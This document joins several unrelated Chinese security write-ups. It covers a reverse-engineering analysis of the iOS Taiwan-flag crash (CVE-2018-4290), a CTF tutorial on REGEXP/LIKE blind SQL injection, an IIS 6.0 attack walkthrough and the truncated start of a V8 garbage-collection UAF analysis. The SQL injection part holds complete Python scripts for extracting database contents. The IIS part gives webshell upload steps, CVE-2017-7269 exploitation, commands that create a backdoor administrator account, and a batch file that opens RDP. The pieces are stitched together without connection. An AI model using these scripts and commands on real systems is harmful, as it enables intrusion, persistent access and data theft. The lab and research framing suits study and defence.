我不确定这样做的最佳方式，所以我只是利用了每个dylib的MacOS版本。具体来说，我将符号化的x64汇编(MacOS)与无符号的ARM64汇编(iOS)“匹配”。虽然有手动过程，但这工作得很好！
例如，以地址0x0000000196862c00(来自调用堆栈中的第9帧)为例。下面是方法的完整反编译(在IOS ResponseKit
dylib中)，其中包含地址0x00000196862c00：
//iOS ResponseKit
int <redacted>_194d0ab58(int arg0) {
r25 = loc_19147d5e0(r2);
r22 = loc_19147d5e0(r4);
loc_19147d5e0(r5);
r27 = *_RKMessageResponseDontOverrideLanguageID | r7;
loc_19147d5e0(r6);
loc_19147d5d8(arg0, 0x1b3e37900, r25, r3, r22, r5, &var_58, 0x0, r27);
loc_19147d5e8();
loc_19147d5dc(r26);
loc_19147d5dc(r22);
loc_19147d5dc(r25);
loc_19147d5e0(var_58);
loc_19147d5dc(r20);
loc_19147d5dc(r21);
r0 = loc_19147d7cc(r19);
return r0;
}
如果我们反编译MacOS的ResponseKit(/System/Library/PrivateFrameworks/ResponseKit.framework)，我们可以在RKMessageResponseManager
responsesForMessageImp：maximumResponses：forConversationHistory：forContext：withLanguage：options：方法中找到“匹配的”x64反编译(请注意对RKMessageResponseDontOverrideLanguageID符号的引用)：
* @class RKMessageResponseManager */
-(void *)responsesForMessageImp:(void *)arg2 maximumResponses:(unsigned long long)arg3 forConversationHistory:(void *)arg4 forContext:(void *)arg5 withLanguage:(void *)arg6 options:(unsigned long long)arg7 {
r14 = [arg2 retain];
r15 = [arg4 retain];
var_38 = [arg5 retain];
var_30 = arg6;
rbx = *_RKMessageResponseDontOverrideLanguageID;
r13 = [arg6 retain];
rax = [self responsesForMessageWithLanguageDetectionImp:r14 maximumResponses:arg3 forConversationHistory:r15 forContext:arg5 withLanguage:&var_30 inputModes:0x0 options:rbx | arg7];
[var_38 release];
[r15 release];
[r14 release];
r14 = [rax retain];
rbx = [var_30 retain];
[r13 release];
[rbx release];
rax = [r14 autorelease];
return rax;
}
现在我们知道iOS ResponseKit dylib中的int_194d0ab58方法实际上是RKMessageResponseManager
responsesForMessageImp：maximumResponses：forConversationHistory：forContext：withLanguage：options：方法(注意对RKMessageResponseDontOverrideLanguageID符号的引用)。
一旦对dylib进行了重新基和(手动)符号化，就更容易理解这个bug了，因为方法名对它们的用途有相当的描述性。
我们将从分析崩溃线程(线程6)的调用堆栈中的地址开始，以揭示这个远程iOS bug的根本原因。
跳过对libDispatch.dylib的调用，从堆栈帧#10开始，并将每个地址映射到它所属的符号化方法(或块)：
#10 ResponseKit 0x00000001968619f0
-[RKMessageResponseManager responsesForMessage:maximumResponses:forContext:withLanguage:options:completionBlock:]
#9 ResponseKit 0x0000000196862c00
-[RKMessageResponseManager responsesForMessageImp:maximumResponses:forConversationHistory:forContext:withLanguage:options:]
#8 ResponseKit 0x0000000196862e78
-[RKMessageResponseManager responsesForMessageWithLanguageDetectionImp:maximumResponses:forConversationHistory:forContext:withLanguage:inputModes:options:]:
#7 ResponseKit 0x00000001968739b4
+[RKMessageClassifier messageClassification:withLanguageIdentifier:conversationTurns:]:
#6 ResponseKit 0x0000000196872e9c
-[NSLinguisticTagger languageOfRange:withAdditionalContext:withPreferredLanguages:]
#5 ResponseKit 0x00000001968754ac
+[RKUtilities removeEmoji:]
#4 CoreEmoji 0x00000001886a8ebc
CEMStringContainsEmoji
#3 CoreEmoji 0x00000001886b2c80
unnamed subroutine
#2 CoreEmoji 0x00000001886b2354
unnamed subroutine
#1 CoreEmoji 0x00000001886b2354
unnamed subroutine
#0 CoreFoundation 0x0000000182922efc
CFStringCompare + 0x38
好吧发生什么事了？看起来是这样的，当接收到消息时，ResponseKit会对消息进行分类，并且(如果某些分类是真的话)调用+[RKUtilities
removeEmoji:]方法。这方法调用CoreEmoji动态库来执行实际的表情符号移除。
> iOS为什么要删除表情符号？我们很快就会讲到的！
在调用一些未命名的子程序后，CoreEmoji调用CFStringCompare函数，该函数在地址0x0000000182922efc处的指令处崩溃。
>
> 地址0x0000000182922efc是故障指令的地址。它是调用堆栈(即帧#0)中的最终地址，也是崩溃报告“ARM线程状态”部分中的pc(程序计数器)寄存器中的最终地址。
CFStringCompare在0x0000000182922efc有什么指令？
0000000180dcaefc ldr x8, [x21]
ldr
arm指令将“程序相对偏移或外部地址加载到寄存器”([arm](http://infocenter.arm.com/))。在这里，它试图取消引用，并将值从x21寄存器加载到x8寄存器中。
查看崩溃报告中的“ARM线程状态”部分，可以看到x21寄存器在崩溃时是空的(0x00000000000000)：
Thread 6 crashed with ARM Thread State (64-bit):
x0: 0x0000000000000000 x1: 0x00000001add1ad38 x2: 0x0000000000000000 x3: 0x00000001ad364438
x4: 0x0000000000000000 x5: 0x0000000000000001 x6: 0x0000000000000000 x7: 0x0000000000000000
x8: 0x0000000000000000 x9: 0x00000001b4e15930 x10: 0x0000000ffffffff8 x11: 0x0000000000000040
x12: 0xffffffffffffffff x13: 0x0000000000000001 x14: 0x0000000000000000 x15: 0x00002d0000002d00
x16: 0x0000000000000000 x17: 0x0000000000002d00 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x00000001add1ad38 x21: 0x0000000000000000 x22: 0x0000000000000000 x23: 0x00000001c4864cc0
x24: 0x00000001000404ef x25: 0x0000000000050000 x26: 0x0000000103d059e4 x27: 0x0000000103d059e4
x28: 0x0000000000000000 fp: 0x000000016f1a5b20 lr: 0x00000001886b2354
sp: 0x000000016f1a5b00 pc: 0x0000000182922efc cpsr: 0x80000000
如果试图取消引用空地址(指针)，这将与EXC_BAD_ACCESS(SIGSEGV)一起崩溃，这正是崩溃报告中给出的确切原因：
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x0000000000000000
那么x21中的值应该是什么呢？很明显，一个有效地址。
但是，查看故障指令之前的指令(在CFStringCompare函数中)的arm64反汇编代码，我们可以看到它是传递给CFStringCompare的第一个参数。
_CFStringCompare:
0000000182922ec4 stp x22, x21, [sp, #-0x30]!
0000000182922ec8 stp x20, x19, [sp, #0x10]
0000000182922ecc stp x29, x30, [sp, #0x20]
0000000182922ed0 add x29, sp, #0x20
0000000182922ed4 mov x19, x2
0000000182922ed8 mov x20, x1
0000000182922edc mov x21, x0
0000000182922ee0 tbz x21, 0x3f, loc_182922efc ;take this
loc_182922ee4:
0000000182922ee4 adrp x8, #0x1b3519000
0000000182922ee8 ldr x1, [x8, #0x308]
0000000182922eec mov x0, x21
0000000182922ef0 bl 0x181c1c900
0000000182922ef4 mov x3, x0
0000000182922ef8 b loc_182922fd0
loc_182922efc:
0000000182922efc ldr x8, [x21] ; b00m, we crash as x21 is NULL
也许反编译更能说明问题：
_CFStringCompare
r21 = theString1;
if ((r21 & 0xffffffff80000000) != 0x0) {
r3 = loc_181c1c900(r21, *0x1b3519308);
}
else
{
r8 = *r21; //b00m, we crash as this is NULL
}
反汇编0x0000000182922edc，我们可以看到第一个参数(在X0寄存器中传递)被移动到x21寄存器中：
mov x21, x0
在0x0000000182922ee0(检测指针是否被“标记”)的测试之后，代码跳转到地址0x0000000182922efc，在那里取消对空x21寄存器的引用，从而导致崩溃。
> 寄存器x21上的检查(在此程序集指令中实现；TBZ x21、0x3f、loc_182922efc)是检查指针是否“标记”的检查。
> 标记指针是在iOS
> 7和MacOSX10.7中为64位架构引入的.带标记的指针是一种特殊的指针，它将数据直接存储到指针中，而不是进行内存分配。这具有明显的性能优势。[blog.timac.org](https://blog.timac.org/2016/1124-testing-> if-an-arbitrary-pointer-is-a-valid-objective-c-object/)
CFStringCompare的函数定义是：
CFComparisonResult CFStringCompare(CFStringRef theString1, CFStringRef theString2, CFStringCompareFlags compareOptions);
第一个参数是一个命名为theString1的CFStringRef。由于崩溃是对第一个参数(X0，移动到x21)的取消引用，我们现在知道有些东西正在传入theString1参数的空值！
好了，我们已经找到了崩溃的直接原因：传递给CFStringCompare的空字符串。
让我们回顾一下调用堆栈跟踪，找出为什么会错误地传入这样一个空值！
回想一下，CFStringCompare是由地址为0x00000001886b22ec的CoreEmoji.dylib(dyld_shared_cache_arm64_CoreEmoji)中的一个未命名函数调用的。
由于提取的CoreEmoji二进制文件(来自dyld共享缓存)不是符号化的，因此只需从dylib的MacOS版本中删除这个子例程的分解代码就更简单了。
下面是这两个版本的反编译代码(为了说明MacOS和iOS版本中的代码是相同的)：
//iOS (arm64)
int <redacted>_186b5a2ec {
var_10 = r20;
stack[-24] = r19;
r31 = r31 + 0xffffffffffffffe0;
saved_fp = r29;
stack[-8] = r30;
if (*qword_1b1c9baf8 != -0x1) {
dispatch_once(0x1b37f3af8, 0x1add1a6f8);
}
r20 = loc_182938048();
r19 = loc_1829387c8();
loc_1829111e8(r20);
if (*(int8_t *)byte_1b1c9bb00 != 0x0) {
r0 = 0x0;
}
else {
r0 = loc_182922ec4(r19, 0x1add1ad38, 0x0);
if (r0 != 0x0) {
if (CPU_FLAGS & NE) {
r0 = 0x1;
}
}
}
return r0;
}
//macOS (x64)
int sub_b9fe() {
if (*qword_128e8 != -1)
{
dispatch_once(qword_128e8, ^ {/* block implemented at sub_ba72 */ } });
}
rbx = CFLocaleCopyCurrent();
r14 = CFLocaleGetValue(rbx, **_kCFLocaleCountryCode);
CFRelease(rbx);
if (*(int8_t *)byte_128f0 != 0x0) {
rax = 0x0;
}
else {
rax = CFStringCompare(r14, @"CN", 0x0);
rax = rax != 0x0 ? 0x1 : 0x0;
}
return rax;
}
在arm64反编译中，以下行表示对CFStringCompare的调用：
r0 = loc_182922ec4(r19, 0x1add1ad38, 0x0);
寄存器r19是第一个空参数(theString1)，因此触发了崩溃。
再查找几行，我们可以看到r19被设置为调用loc_1829387c8()的返回值；
r19 = loc_1829387c8();
多亏了MacOS符号化的反编译，我们可以看到这是对CFLocaleGetValue()的调用。
Apple记录了以下功能：
> CFTypeRef CFLocaleGetValue(CFLocaleRef locale, CFLocaleKey
> key)；返回区域设置的键值对的给定键的对应值。
通过反编译，我们可以确定locale是来自CFLocaleCopyCurrent()的返回值，而键是_kCFLocaleCountryCode。
因此，源代码看起来可能如下所示：
CFLocaleRef locale = CFLocaleCopyCurrent();
CFStringRef countryCode = CFLocaleGetValue (locale, kCFLocaleCountryCode);
这段代码后面紧接着是对布尔标志的检查(iOS:byte_1b1c9bb00，MacOS:byte_128f0)。
坚持使用符号化的macOS dylib，我们可以找到这个值的交叉引用(x-ref)，以确定它设置在哪里(sub_ba72)：
void sub_ba72(void * _block) {
rbx = CFPreferencesCopyValue(@"Country", **_kCFPreferencesAnyApplication, **_kCFPreferencesAnyUser, **_kCFPreferencesCurrentHost);
if (rbx != 0x0) {
r14 = CFEqual(rbx, @"CN") != 0x0 ? 0x1 : 0x0;
CFRelease(rbx);
}
else {
r14 = 0x0;
}
*(int8_t *)byte_128f0 = r14;
return;
}
这段代码(sub_ba72)确定用户当前的‘国家’首选项。
如果不是中国(“cn”)，则该标志设置为0x1(True)。如果国家是中国，或者CFPreferencesCopyValue()中止并返回NULL，则标志设置为0x0(False)。
我朋友手机的区域和语言没有设置为“cn”，所以这个标志(AFAIK)应该设置为0x1(真)：
[](https://p0.ssl.qhimg.com/t011e70b18925546036.png)
但是，由于代码用了else(反过来调用CFStringCompare()，它将指示该标志必须为0x0。
//check some flag ('CN')
if (*(int8_t *)byte_1b1c9bb00 != 0x0) {
r0 = 0x0;
}
//we take this path
else {
//call to CFStringCompare() that crashes
r0 = loc_182922ec4(r19, 0x1add1ad38, 0x0);
...
}
一种解释是，由于某些原因，对CFPreferencesCopyValue(@“Country”.)调用失败，会将标志设置为0x0。或者代码认为由于某种(未知的)原因，手机的区域设置为“cn”？
无论如何，调用CFStringCompare时，第一个参数(寄存器r19)设置为NULL：
//call CFStringCompare()
// first parameter is NULL, and thus crashes
// second parameter is @"CN"
r0 = loc_182922ec4(r19, 0x1add1ad38, 0x0);
请注意，只有在对CFLocaleGetValue()的调用失败(即返回NULL)时，r19寄存器才能为空。
一种解释是，对CFLocaleCopyCurrent的调用返回null，这反过来会导致CFLocaleGetValue也返回null(这反过来会将null传递给CFStringCompare()，从而导致崩溃)。
如果我们查看苹果代码中的其他地方，比如它们的CFStringCompareWithOptionsAndLocale函数，可以看到它们在这里检查CFLocaleCopyCurrent()的返回值：
locale = CFLocaleCopyCurrent();
langCode = ((NULL == locale) ? NULL : (const uint8_t *)_CFStrGetLanguageIdentifierForLocale(locale));
这意味着CFLocaleCopyCurrent()确实可能失败，并返回NULL(因此应该检查！)
不幸的是，我的理解只到这一点上了。也就是说，我不知道为什么以及在什么条件下：CFLocaleGetValue(CFLocaleCopyCurrent()，kCFLocaleNationalCode)可以返回NULL。但是它可以，而且这是不做检查的！因此，用NULL调用CFStringCompare()，应用程序就会崩溃！
苹果强调：
> 在某些情况下，如果设备的语言/区域设置不正确，即缺少区域代码，则可以返回NULL。若要触发此操作，必须将设备设置为不支持区域的无支持状态。
## 修复
两年多来，她的手机一直无法输入“台湾”，或者每当手机收到台湾旗帜表情符号时，她的手机就会被“远程攻击”，只不过是把这个地区从美国、中国大陆，再回到美国，一目了然。
我不能百分之百地确定为什么(或者如何修复它)，但我猜它要么将‘Country’值设置为‘us’，所以现在boolan标志(在byte_1b1c9bb00处)被设置为0x1，这意味着CFStringCompare()从来没有被调用过,或者，对CFLocaleCopyCurrent()/CFLocaleGetValue()的调用不再返回null，这意味着一个有效的字符串被传递给了CFStringCompare()。
由于我不确定还有多少其他iOS用户受到影响，我也向苹果报告了这个问题。他们给它分配了CVE-2018-4290，并在iOS 11.4.1中对其进行了修复：
[](https://p1.ssl.qhimg.com/t018819459262061cd8.png)
我还没有机会研究苹果的补丁，但我提出以下建议作为一个简单的解决方案：
为了避免这种崩溃，代码应该只检查调用CFLocaleGetValue()的结果，如果调用失败(即返回NULL)，则跳过对CFStringCompare()的调用：
CFLocaleRef locale = CFLocaleCopyCurrent();
CFStringRef countryCode = CFLocaleGetValue (locale, kCFLocaleCountryCode);
//fix!
// make sure to check this!!
if(NULL != countryCode)
{
CFStringCompare(countryCode, @"CN", 0x0);
}
//otherwise handle case where `countryCode` is NULL
else
{
....
}
## 回顾
到目前为止，本文深入研究揭示并解释了一个(远程)iOS崩溃的技术原因。然而，仍然存在一个尚未回答但相当有趣的问题：“不管怎么说，这段代码到底想要完成什么？”
回顾：
* 这起崩溃事件是由键入台湾或接收任何带有台湾旗帜(🇹🇼)的信息引发的。
* 导致崩溃的方法(例如，RemoveEmoji)似乎与从接收到的消息中删除表情符号有关。
* 故障指令之前的各种代码正在检查中国(“CN”)用户设备的语言/地区设置。
* 传递给CFStringCompare(崩溃的函数)的第二个参数设置为(“cn”)。
这么多中国！嗯，那又有什么用呢！
答案可以在表情包网站上找到，上面写着：
> 此标志隐藏在设置为中国的iOS设备上的表情符号键盘上。中国的iPhone不会显示这个标志，而是会显示一个缺失的字符豆腐(☒)。
[](https://p2.ssl.qhimg.com/t01de2b2a62bdda39e7.png)
## 结论
在本文中，我们找到了远程iOS缺陷的原因。
尽管它的影响仅限于拒绝服务(空指针取消引用)，但它为分析iOS代码提供了一个有趣的案例研究。
审核人：yiwang 编辑：边边 | 社区文章 |
## 0x00 前言
之前已经学过SQL盲注了，也见过盲注中REGEXP注入，但没详细了解过。正好之前BJDCTF遇到了这个，简单总结一下REGEXP注入和LIKE注入，并进行题目复现。
## 0x01 REGEXP注入分析
**注入原理**
REGEXP注入，即regexp正则表达式注入。REGEXP注入，又叫盲注值正则表达式攻击。
应用场景就是盲注，原理是直接查询自己需要的数据，然后通过正则表达式进行匹配。
### 1、基本注入
select (select语句) regexp '正则'
正常的查询语句：
select username from users where id=1;
（1）正则注入，若匹配则返回1，不匹配返回0
select (select username from users where id=1) regexp '^a';
`^`表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a，则返回1；否则返回0
（2）regexp关键字还可以代替where条件里的=号
select * from users where password regexp '^ad';
使用场景：
> 过滤了=、in、like
`^`若被过滤，可使用`$`来从后往前进行匹配
常用regexp正则语句：
regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
（3）在联合查询中的使用
1 union select 1,database() regexp '^s',3--+
### 2、REGEXP盲注
在sqli-labs靶场Less-8关进行测试
**1.判断数据库长度**
' or (length(database())=8)--+ 正常
**2.判断数据库名**
' or database() regexp '^s'--+ 正常
' or database() regexp 'y$'--+ 正常
表名、字段名、数据内容参考以前总结。
很明显和普通的布尔盲注差不多，于是写个脚本：
import requests
import string
strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="
database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"
payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break
## 0x02 LIKE注入分析
**like匹配**
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线`_`通配符允许匹配任何单个字符。
### 1、基本注入
**1.`like 's%'`判断第一个字符是否为s**
1 union select 1,database() like 's%',3 --+
**2.`like 'se%'`判断前面两个字符串是否为se**
1 union select 1,database() like 'se%',3 --+
**3.`like '%sq%'` 判断是否包含se两个字符串**
1 union select 1,database() like '%se%',3 --+
4.`like '_____'`判断是否为5个字符
1 union select 1,database() like '_____',3 --+
5.`like 's____'` 判断第一个字符是否为s
1 union select 1,database() like 's____',3 --+
### 2、LIKE盲注
依旧在sqli-labs靶场Less-8关进行测试
**1.判断数据库长度**
可用length()函数，也可用`_`，如：
' or database() like '________'--+
**2.判断数据库名**
' or database() like 's%'--+
也可用
' or database() like 's_______'--+
说明数据库名的第一个字符是s。数据表、字段、数据类似
我又把REGEXP盲注脚本改一下，于是成了LIKE盲注脚本：
import requests
import string
strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="
database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"
payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break
爆出数据库名`security`
## 0x03 REGEXP注入实战
学完REGEXP注入和LIKE注入后，是时候把BJD的`简单注入`那道题复现一下了。BJD CTF的`简单注入`主要涉及的是REGEXP盲注。开始复现：
先fuzz一波，发现：
> 单引号 双引号都被ban了
> union和select都被ban了
> =和like被ban了
似乎没得思路了，看下wp，发现`SQL语句逃逸单引号`,于是了解一下这个方法。
**SQL语句逃逸单引号**
主要是通过反斜线`\`，将单引号转义，从而实现了SQL语句逃逸，造成SQL注入。
意思就是：
假设sql语句为：
select username,password from users where username='$user' and password='$pwd'
假设输入的用户名是`admin\`，密码输入的是`or 1#`整个SQL语句变成了
select username,password from users where username='admin\' and password=' or 1#'
由于单引号被转义，`and password=`这部分都成了username的一部分，即
username='admin\' and password='
这样`or 1`就逃逸出来了，由此可控，可作为注入点。
而fuzz结果，确实发现反斜线没有被ban掉。
于是就可以注入了
然后发现这个地方会有变化。大师傅的wp上说用这个注不出登录密码，可以用REGEXP进行注入，并且还说要加上`binary`关键字区分大小写。好了，先不看大师傅的脚本，自己把上边的脚本改一下，试试。
试过后发现跑不出来。。。。看下wp，发现要转换16进制(16进制在数据库执行查询时又默认转换成字符串)，好吧。再改写下，最终成品如下：
import requests
import string
def str2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
strs = string.ascii_letters+string.digits
url = "http://3fb55301-c0be-4134-830b-fda52f321221.node3.buuoj.cn/"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'
if __name__ == "__main__":
name = ''
for i in range(1,40):
for j in strs:
passwd = str2hex('^'+name+j)
payloads = payload.format(passwd)
postdata={
'username':'admin\\',
'password':payloads
}
r = requests.post(url,data=postdata,headers=headers)
if "BJD need" in r.text:
name += j
print(j,end='')
break
跑出了用户密码
登录即可得到flag。。。复现完毕。
## 0x04 后记
学习了`REGEXP注入`和`LIKE注入`，了解了`SQL语句逃逸单引号`以及`16进制在数据库执行`
参考博客：
[从CTF题中学习几种有趣(奇怪)的SQL注入](https://xz.aliyun.com/t/5356)
[CTF中几种通用的sql盲注手法和注入的一些tips](https://www.anquanke.com/post/id/160584)
[sql注入之盲注攻击](https://smelond.com/2018/04/04/sql%E6%B3%A8%E5%85%A5%E4%B9%8B%E7%9B%B2%E6%B3%A8%E6%94%BB%E5%87%BB/#regexp%E6%AD%A3%E5%88%99)
[第二届BJDCTF 2020 全部WEB题目 Writeup](https://www.gem-love.com/ctf/2097.html#GirlfriendInjection) | 社区文章 |
# PUT漏洞
**前提条件：**
`IIS 6.0`开启了`WebDAV`并且拥有`IIS`来宾用户拥有写入权限
**复现过程：**
用`IIS PUT SCANNER`探测一下目标`IIS`是否拥有写入权限
是`YES`所以可以利用
先看原来的服务器上面存在的内容
我们利用另一个工具对文件进行写入，我们写入一句话`webshell`
上传`test.txt`成功
上传上去是`txt`格式，于是我们用`MOVE`或者`COPY`选项把它改成`asp`后缀
菜刀连一下，拿到`webshell`
## 提权
上传`cmd.exe`和`pr.exe`上去，这二者的用法是`pr`提权
执行下面这条命令，把当前终端的执行程序设置成我们上传的 `cmd.exe`
setp "路径cmd.exe"
然后我们就可以`pr`提权，查看一下当前是`system`权限
于是我们新建管理员账户
pr.exe "net user hack1 123 /add" 新建一个hack1用户，密码为123
pr.exe "net localgroup administrators hack1 /add" 将hack1用户加入administrators管理员组
如果对方开启了`3389`端口那么就可以用新建的用户登录，如果没有开启那么我们就上传一个`bat`文件，它可以远程开启目标的`3389`端口
此时运行利用`pr.exe`运行`3389open.bat`，成功开启`3389`端口，可以连接
附上`3389open.bat`文件代码
//3389open.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
## 漏洞修复
关闭`WebDAV`和写权限
# 远程代码执行(CVE-2017-7269)
**前提条件：**
`IIS 6.0`开启`WebDAV`
**复现过程：**
exp下载地址：<https://github.com/zcgonvh/cve-2017-7269>
下载后放入`msf`中，路径为`/usr/share/metasploit-framework/modules/exploits/windows/iis/`
注意文件名中`-`应该改为`_`否则无法识别，然后拿到了`shell`(失败后靶机恢复快照，否则可能之后的攻击无效)
这里说说我开始失败的原因
这种叫非默认绑定
这个`exp`可以直接利用，如果是绑定了的，就需要手动输入物理路径的长度和端口即可
目前网络上存在三种脚本，我使用的这种是第二种，区别附图
很明显第一种用处不大，可以用第二种代替，第二种和第三种区别就是需不需要手动输入物理路径的长度和端口，第三种方便，但是第三种不咋稳定我们来看看如何手动输入物理路径长度
现在我们默认绑定
## 批量检测工具
下载地址：<https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner>
检测出了长度为`71`
然后在`msf`上设置`PhysicalPathLength`为`71`即可
## 提权
输入`whoami`都不行，是一个低权限账户
再次使用`pr`提权，利用`meterpreter`上传`pr.exe`
然后创建用户`hack1`并添加到管理员组
`netstat -an`查看是否打开了`3389`端口，发现并没有
输入`exit`回到`meterpreter`上传`3389open.bat`
然后利用`pr.exe`运行
`netstat -an`查看一下，发现`3389`端口已经打开
成功登陆
## 漏洞修复
关闭`WebDAV`
# 解析漏洞
**前提条件：**
`IIS 6.0` `IIS 7.5`
**复现过程：**
`IIS 6.0`解析漏洞有两种利用方式
(1)在`.asp`目录下的任意文件会以`asp`格式解析
(2)`;`截断，上传`test.asp;.jpg`是一个`jpg`文件但是会以`asp`执行
`IIS 7.0`解析漏洞
在文件后面加上`/xx.php`(xx可加可不加)就会将该文件以`php`格式执行，比如
## 漏洞修复
(1)限制上传的脚本执行权限，不允许执行脚本
(2)对新建目录文件名进行过滤，不允许新建包含‘.’的文件
(3)不允许新建目录
(4)过滤`.asp/xx.jpg`，通过`ISApi`组件过滤
# 短文件猜解
**前提条件：**
IIS 1.0，Windows NT 3.51
IIS 3.0，Windows NT 4.0 Service Pack 2
IIS 4.0，Windows NT 4.0选项包
IIS 5.0，Windows 2000
IIS 5.1，Windows XP Professional和Windows XP Media Center Edition
IIS 6.0，Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0，Windows Server 2008和Windows Vista
IIS 7.5，Windows 7（远程启用<customErrors>或没有web.config）
IIS 7.5，Windows 2008（经典管道模式）
IS 8.0，Windows 8, Windows Server 2012
IIS 8.5，Windows 8.1,Windows Server 2012 R2
IIS 10.0，Windows 10, Windows Server 2016
注意：IIS使用.Net Framework 4时不受影响
**短文件名特征：**
1.只显示前`6`位的字符,后续字符用`~1`代替。其中数字`1`是可以递增。如果存在文件名类似的文件,则前面的`6`个字符是相同的,后面的数字进行递增
2.后缀名最长只有`3`位,超过`3`位的会生成短文件名,且后缀多余的部分会截断
3.所有小写字母均转换成大写的字母
4.长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀
5.文件名后缀长度大于等于`4`或者总长度大于等于`9`时才会生成短文件名，如果包含空格或者其他部分特殊字符,不论长度均会生成短文件
**漏洞原理：**
访问构造的某个存在的短文件名，会返回`404`，访问构造的某个不存在的短文件名，返回`400`
**自动化探测：**
<https://github.com/lijiejie/IIS_shortname_Scanner>
## 漏洞修复
(1)升级`.net framework`到`4.0`以上
(2)修改注册表禁用短文件名功能快捷键`Win+R`打开命令窗口，输入`regedit`打开注册表窗口，找到路径：`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`，将其中的`NtfsDisable8dot3NameCreation`这一项的值设为`1`，`1`代表不创建短文件名格式，修改完成后，需要重启系统生效(之前存在的文件依然有短文件，新建的文件满足生成短文件条件但是不会再生成)
(3)那么之前的文件已经存在短文件名仍能够被猜解怎么办呢？将目录内所有文件剪切到另外地方再粘贴回来就行，相当于新建，这些就没有短文件名无法被猜解了
使用自动化脚本试试
Server is not vulnerable 防御成功
# 参考链接
<http://www.admintony.com/CVE-2017-7269.html>
<https://www.freebuf.com/articles/web/192063.html>
<https://www.jianshu.com/p/354fcf0939cc>
<https://www.freebuf.com/articles/web/172561.html>
<https://www.jb51.net/article/166405.htm> | 社区文章 |
**作者：墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/CBj03EPBlsGe689Lc74qHQ>**
Google于2022年4月11日更新了Chrome的100.0.4896.88，其中修复了由@btiszka在3月18日报告的正则表达式模块的UAF漏洞；6月28日，Google纰漏了该漏洞的具体细节，目前该漏洞已被修复并公开了技术细节，本文将从技术角度分析漏洞的成因和修复方式。
要理解这个漏洞，需要对V8的垃圾回收机制有一定的了解，本文首先简单介绍V8的垃圾回收机制，然后结合具体漏洞PoC代码分析漏洞成因。
## **V8垃圾回收机制**
垃圾回收一直是V8引擎的优化重点，是多种复杂优化策略组合形成的机制，其本质采用的标记跟踪回收算法，在堆布局上使用分代布局，大致可以分为新生代和老年代，具体的回收策略可分为Major
GC（Mark-Compact）和Minor GC(Scavenger)。这里仅对两种策略的关键阶段做简单介绍，详细实现可以从参考文档和源代码进行学习。
**Major GC(Mark-Compact）**
V8的主要GC负责对整个堆区的垃圾进行回收，可分为标记、清除、整理三个阶段，其中清除阶段释放无用内存，整理阶段将已使用内存移动压实，算法的重点在标记阶段。
标记阶段中，收集器需要发现并标记所有的活动对象。收集器从维护的一组根对象开始，跟随指针迭代发现更多的对象，通过持续标记新发现的对象并跟随指针，直到没有需要标记的对象为止。
V8使用三色标记法来标记对象，每个对象通过两个标记位和一个标记列表来实现标记，两个标记位标识三种颜色：白色(00)、灰色(10)
和黑色(11)。最初所有对象都是白色的，当收集器发现白色物体并将其推送到标记列表时，它会变成灰色。当收集器从标记工作列表中弹出对象并访问其所有字段时，灰色对象变为黑色。当不再有灰色对象时，标记完成，所有剩余的白色物体都无法到达，可以安全地回收。
**Minor GC(Scavenger)**
次要GC主要工作在新生代空间中，可以分为标记、疏散和指针更新三个阶段，这些阶段都是交错执行的，没有严格的先后顺序。Scavenger将新生代的空间分为From-Space和To-Space，这两个空间可以互相交换，新分配的对象都会出现在From-Space，在标记和回收完成后的疏散阶段，Scavenger会将依然存活的对象移动到To-Space紧密排列，然后交换From-Space和To-Space，开始下一轮GC。
这里需要特别介绍写屏障(Write-Barrier)机制，它是此漏洞发生的关键原因。Write-Barrier维护了一组从旧对象到新对象的列表，一般是老年代指向年轻代中的对象的指针，使用这个引用列表可以直接进行标记，不需要跟踪整个老年代。
